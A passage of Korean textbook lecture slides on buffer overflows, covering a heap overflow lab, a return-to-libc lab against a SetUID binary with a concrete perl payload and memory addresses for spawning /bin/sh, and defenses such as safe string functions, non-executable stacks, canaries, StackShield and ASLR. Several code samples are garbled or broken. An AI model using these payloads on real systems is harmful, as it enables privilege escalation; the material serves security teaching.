[ 그림 7-45] system 함수의 주소 값이 일치하도록 인수 값 입력 후 heap-exploit 실행

실습 7-4 힙 버퍼 오버플로우 수행하기

./heap_exploit 8

4

./heap_exploit 12

Page 58: 버퍼 오버플로우

58/89

힙 버퍼 오버플로우 공격 내용 확인 heap-exploit.c 의 ‘ execl(BUGPROG, BUGPROG, buf, CMD, NULL);’ 에 브레이크

포인트 설정 , 앞서 공격 성공한 인수 값 12 넣고 , run 명령으로 heap-exploit 실행

[ 그림 7-46] 공격 내용 분석을 위한 브레이크 포인트 설정 후 heap-exploit 실행

실습 7-4 힙 버퍼 오버플로우 수행하기

gdb heap_exploitlist 28, 31break 31run 12

5

Page 59: 버퍼 오버플로우

59/89

실질적 공격은 브레이크 포인트 설정한 execl 함수에서 실행 execl 은 시스템에서 라이브러리로 제공되는 exec 계열 함수 중 하나 , 현재

프로세스

이미지의 실행 파일을 실행해서 새로운 프로세스 이미지 획득

브레이크 포인트를 설정한 함수의 내용을 여기에 맞춰보면 다음과 같다 .

•const char *path - BUGPROG : ./heap-bugfile

•const char *arg0 - BUGPROG : ./heap-bugfile

•const char *arg1 - buf

•const char *arg0 - CMD : /bin/sh

실습 7-4 힙 버퍼 오버플로우 수행하기

int execl(const char *path, const char *arg0, ... , const char *argn, NULL);

execl(BUGPROG, BUGPROG, buf, CMD, NULL);

Page 60: 버퍼 오버플로우

60/89

실제 셸에서 다음과 같이 실행된 것과 같다 . buf 값을 gdb 에서 확인 ./heap-bugfile buf /bin/sh

[ 그림 7-47] buf 주소와 힙에서 buf 값 확인

실습 7-4 힙 버퍼 오버플로우 수행하기

print bufprint &bufx/16xw &buf

Page 61: 버퍼 오버플로우

61/89

힙 주소에 저장된 buf 값

heap-exploit.c 는 다음과 같은 형태의 공격 수행

공격 수행 결과 힙의 funcptr 값이 system 함수가 있는 0x080483fc 로 바뀜 /bin/sh 을 인수로 실행하여 system(/bin/sh) 명령을 수행한 것과 같은 결과

실습 7-4 힙 버퍼 오버플로우 수행하기

./heap-bugfile '0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc' /bin/sh

주소 값

0x80696a4

0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc

Page 62: 버퍼 오버플로우

62/89

버퍼 오버플로우에 대한 대책과 발전된 공격

안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기 버퍼 오버플로우 공격에 취약한 함수

•strcpy(char *dest, const char *src)•strcat(char *dest, const char *src)•getwd(char *buf)•gets(char *s)•fscanf(FILE *stream, const char *format, ...)•scanf(const char *format, ...)•realpath(char *path, char resolved_path[])•sprintf(char *str, const char *format)

Page 63: 버퍼 오버플로우

63/89

버퍼 오버플로우에 대한 대책과 발전된 공격

입출력에 대한 사용자의 접근 가능성 줄이기 꼭 필요한 경우 입력 값 길이 검사 가능 함수 사용

➊ strcpy 함수의 잘못된 사용과 strncpy 함수의 올바른 사용 : strcpy 함수는 입력 값에

대한 검사잘못된 함수 사용 올바른 함수 사용

void function(char *str) {

char buffer[20];

strcpy(buffer, str);

return;

}

void fuction(char *str) {

char buffer[20];

strncpy(buffer, str,

sizeof(buffer-1);

buffer[sizeof(buffer)-1]=0;

return;

}

Page 64: 버퍼 오버플로우

64/89

버퍼 오버플로우에 대한 대책과 발전된 공격

➋ gets 함수의 잘못된 사용과 fgets 함수의 올바른 사용 : gets 함수도 fgets 함수이용

➌ scanf 함수의 잘못된 사용과 fscanf 함수의 올바른 사용 : 입력되는 문자열 개수 한정

잘못된 함수 사용 올바른 함수 사용

void function(char *str) {

char buffer[20];

gets(buffer);

return;

}

void fuction(char *str) {

char buffer[20]

fgets(buffer, sizeof(buffer)-1, stdin);

return;

}

잘못된 함수 사용 올바른 함수 사용

int main() {

char str[80];

printf“( name : ”);

scanf“( %s”,str);

return 0;

}

int main() {

char str[80];

printf“( name : ”);

scanf“( %79e”,str);

return 0;

}

Page 65: 버퍼 오버플로우

65/89

버퍼 오버플로우에 대한 대책과 발전된 공격

Non-Executable 스택 eggshell 셸 스택에 올린 뒤 , 해당 주소로 ret 주소 위조 실행 Non-Executable Stack 은 이러한 공격 패턴을 보고 스택에서 프로그램 실행 못하게

함 레드햇 6.2 와 페도라 14 에서 /proc/self/maps 의 내용을 각각 확인 현재 스택의 메모리 공간에 대한 정보 확인

➊ 메모리 범위로 스택의 일부분 .

➋ 권한과 프로세스의 성격 r(read), w(write), x(execution), p(private) 나타냄 .

레드햇 6.2 에서는 스택에 x(execution) 권한 있어서 eggshell 을 스택에 올리고 실행

페도라 14 에서는 [stack] 으로 표시된 행에서 권한은 rw-p 로 , x(execution) 권한이

제거 , eggshell 을 스택에 올려 수행 하는 버퍼 오버플로우 공격 성공 못함

bfffb000-c0000000 rwxp ➊ ➋

Page 66: 버퍼 오버플로우

66/89

버퍼 오버플로우에 대한 대책과 발전된 공격

rtl 공격 rtl(return to libc) : Non-Executable Stack 에 대한 해커의 대응책 rtl 은 스택에 있는 ret 주소를 실행 가능한 임의의 주소 (libc 영역의 주소 ) 로 돌려

원하는 함수를 수행하게 만드는 기법 메모리에 적재된 공유 라이브러리는 스택에 존재하는 것이 아니므로 Non-

executable

Stack 을 우회하는 것이 가능 libc 영역에서 셸을 실행할 수 있는 함수 : system, execve, execl 등 system 함수의 원형

int system(const char *command)

Page 67: 버퍼 오버플로우

67/89

버퍼 오버플로우에 대한 대책과 발전된 공격

system 함수 : 인수로 입력된 내용을 실행

[ 그림 7-53] system“( ls -al”) 결과

system.cint main() {system("ls -al");}

gcc -o system_2 system.c./system_2

Page 68: 버퍼 오버플로우

68/89

버퍼 오버플로우에 대한 대책과 발전된 공격

system 함수에 원래대로“ /bin/sh” 넣어 컴파일 , 실행하면 , “ls -al” 을 넣었을 때처럼 셸이 실행

[ 그림 7-54] system“( /bin/sh”) 결과 확인

gcc -g -o system system.c./system

Page 69: 버퍼 오버플로우

69/89

실습 7-5 rtl 공격 수행하기

rtl 공격은 system 함수 이용에서 힙 버퍼 오버플로우 공격에서 수행한 실습과 유사 bugfile.c 컴파일

bugfile.c 를 스택 버퍼 오버플로우 때처럼 컴파일 , SetUID 부여

[ 그림 7-55] bugfile.c 컴파일과 권한 부여

1

gcc bugfile.c -g -o bugfilechmod 4755 bugfilels -al

Page 70: 버퍼 오버플로우

70/89

실습 7-5 rtl 공격 수행하기

ret 주소 확인

bugfile.c 의 ret 주소가 스택의 buffer 에서 16 바이트 위에 위치함 확인

2

Page 71: 버퍼 오버플로우

71/89

실습 7-5 rtl 공격 수행하기

System 함수 주소 확인

gdb 에서 system 함수의 주소를 확인 : 0x40058ae0

[ 그림 7-57] system 함수의 메모리 주소 확인

3

gdb bugfilebreak mainrunprint systeml

Page 72: 버퍼 오버플로우

72/89

실습 7-5 rtl 공격 수행하기

exit 함수 주소 확인

공격 수행 후 프로그램 정상적으로 종료되도록 exit 함수의 주소도 확인 , 공격 코드에

입력 . 확인된 exit 함수의 주소는 0x400391e0

[ 그림 7-58] exit 함수의 메모리 주소 확인

4

print exit

Page 73: 버퍼 오버플로우

73/89

실습 7-5 rtl 공격 수행하기

“/bin/sh” 주소 확인

메모리에서 system “함수의 시작 주소부터 /bin/sh” 문자열을 찾는 간단한 프로그램

findsh.c 는 컴파일 전에 system 함수의 주소를‘ shell =’ 값에 입력 컴파일 , 실행 . 확인된 주소 0x400fbff9

[ 그림 7-59] “/bin/sh” 문자열 메모리 주소 확인

5

findsh.cint main(int argc, char **argv){

long shell;shell = 0x40058ac0; // <= 이 부분에 system() 함수의 주소를 넣는다 .while(memcmp((void*)shell,"/bin/sh",8)) shell++;printf("\"/bin/sh\" is at 0x%x\n",shell);

}

gcc -o findsh findsh.c./findsh

Page 74: 버퍼 오버플로우

74/89

실습 7-5 rtl 공격 수행하기

rtl 공격 수행6

Page 75: 버퍼 오버플로우

75/89

실습 7-5 rtl 공격 수행하기

•system 함수의 주소 : 0x40058ae0

•exit 함수의 주소 : 0x400391e0

•“/bin/sh” 문자열의 주소 : 0x400fbff9

system 함수는 4 바이트 거리에 있는 값을 인수로 인식하기 때문에

system“( /bin/sh”) 와 같이 실행 , 종료된 뒤 exit 함수 실행

[ 그림 7-61] rtl 공격 수행

perl -e 'system "./bugfile","AAAAAAAAAAAAAAAA\xe0\x8a\x05\x40\xe0\x91\x03\x40\xf9\xbf\x0f\x40"'id

Page 76: 버퍼 오버플로우

76/89

버퍼 오버플로우에 대한 대책과 발전된 공격

스택가드 스택 가드는 프로그램 실행 시 버퍼 오버플로우 공격을 탐지 컴파일러가 프로그램의 함수 호출 ( 프롤로그 ) 시에 ret 앞에 canary( 밀고자 ) 값을

주입하고 , 종료 (return, 에필로그 ) 시에 canary 값 변조 여부 확인하여 버퍼 오버플로우

공격 탐지 스택가드는 다음과 같은 기술을 사용

•Random canary : 프로그램 실행 때마다 canary 값 바꿔 이전 canary 값 재 사용 방지

•Null canary : 공격자가 버퍼 오버플로우 공격 시 Null 문자열은 해당 값 종료 의미

Null 은 절대 넣을 수 없음을 이용 canary 에 문자열 (0x00000000) 포함

•Terminator canary : 대부분의 문자열 함수의 동작이 Null 에서 끝나지만 Null에서

끝나지 않는 몇몇 함수의 종료 값을 canary 값으로 사용

즉 , Null, CR(Carriage Return:0x0d), LF(Line Feed: 0x0a)

End Of File: 0xff), -1 등을 조합해서 canary 값 만듬

Page 77: 버퍼 오버플로우

77/89

실습 7-6 canary 확인하기

canary.c

void main(int argc, char *argv[]) {char buf1[4];char buf2[8];char buf3[12];

strcpy(buf1, argv[1]);strcpy(buf2, argv[2]);strcpy(buf3, argv[3]);

printf( "%s %s %s", &buf1, &buf2, &buf3);}

Page 78: 버퍼 오버플로우

78/89

실습 7-6 canary 확인하기

canary.c 컴파일 gdb 로 분석 가능하도록 -g 옵션을 주어 canary.c 컴파일

[ 그림 7-63] canary 파일 컴파일

1

gcc -g -o canary canary.c

Page 79: 버퍼 오버플로우

79/89

실습 7-6 canary 확인하기

브레이크 포인트 확인

브레이크 포인트 두 부분에 설정• main 함수가 호출되어 ebp(sfp (stack frame pointer)) 저장하는 부분• 스택에 buf1,buf2, buf3 의 내용이 모두 들어간 뒷부분

[ 그림 7-64] main 함수에서 브레이크 포인트 확인

2

gdb canarydisass main

Page 80: 버퍼 오버플로우

80/89

실습 7-6 canary 확인하기

buf1, buf2, buf3 의 내용이 모두 들어간 뒤는 printf“( %s %s %s”, &buf1, &buf2,&buf3); 에 브레이크 포인트 설정

[ 그림 7-65] 프로그램 코드에서 브레이크 포인트 확인

list

Page 81: 버퍼 오버플로우

81/89

실습 7-6 canary 확인하기

브레이크 포인트 설정과 실행

buf1, buf2, buf3 는 canary.c 에서 각각 4, 8, 12 바이트씩 할당 각 구분이 쉽도록 A(41), B(42), C(43) 을 입력

[ 그림 7-66] 브레이크 포인트 설정과 실행

3

break *0x8048491break 10run AAA BBBBBBB CCCCCCCCCCC

Page 82: 버퍼 오버플로우

82/89

실습 7-6 canary 확인하기

break *0x8048491 에서 ret 주소와 sfp 확인

main 함수 호출할 때 push %ebp 실행 , 스택 확인 ret 주소는 0x4003e507, sfp 는 0xbffffcb8

[ 그림 7-67] ret 주소 및 sfp 확인

4

break *0x8048491break 10

Page 83: 버퍼 오버플로우

83/89

실습 7-6 canary 확인하기

break 10 에서 canary 값 확인

buf1, buf2, buf3 에 관련된 함수가 모두 실행되고 , 스택에서 canary 값 확인

[ 그림 7-69] buf 값 및 canary 확인

5

Page 84: 버퍼 오버플로우

84/89

실습 7-6 canary 확인하기

Page 85: 버퍼 오버플로우

85/89

버퍼 오버플로우에 대한 대책과 발전된 공격

스택쉴드 gcc 컴파일러 확장으로 개발 , ret 보호가 주목적 함수 호출 ( 프롤로그 ) 시 ret 를 Global RET 스택이라는 특수 스택에 저장 함수 종료 ( 에필로그 ) 시 Global RET 스택에 저장된 ret 값과 스택의 ret 값을 비교일치

하지 않으면 프로그램 종료

Page 86: 버퍼 오버플로우

86/89

버퍼 오버플로우에 대한 대책과 발전된 공격

ASLR 메모리 공격을 방어하기 위해 주소 공간배치를 난수화하는 기법 스택 , 힙 , 라이브러리 등의 데이터 영역 주소 등을 난수화하여 프로세스의 주소 공간에 배치 cat /proc/self/maps 명령을 2 번 연속 실행

•메모리의 주소가 바뀐다 . 즉 ASLR 의 적용으로 인해 메모리에 존재하는 주소가 지속적 변화•공격자가 특정 주소에 대한 버퍼 오버플로우 공격하는 것을 불가능하게 함

cat /proc/self/maps

Page 87: 버퍼 오버플로우

87/89

버퍼 오버플로우에 대한 대책과 발전된 공격

[ 그림 7-71] cat /proc/self/maps 1 회 실행 결과

Page 88: 버퍼 오버플로우

88/89

버퍼 오버플로우에 대한 대책과 발전된 공격

[ 그림 7-72] cat /proc/self/maps 2 회 실행 결과

Page 89: 버퍼 오버플로우

IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )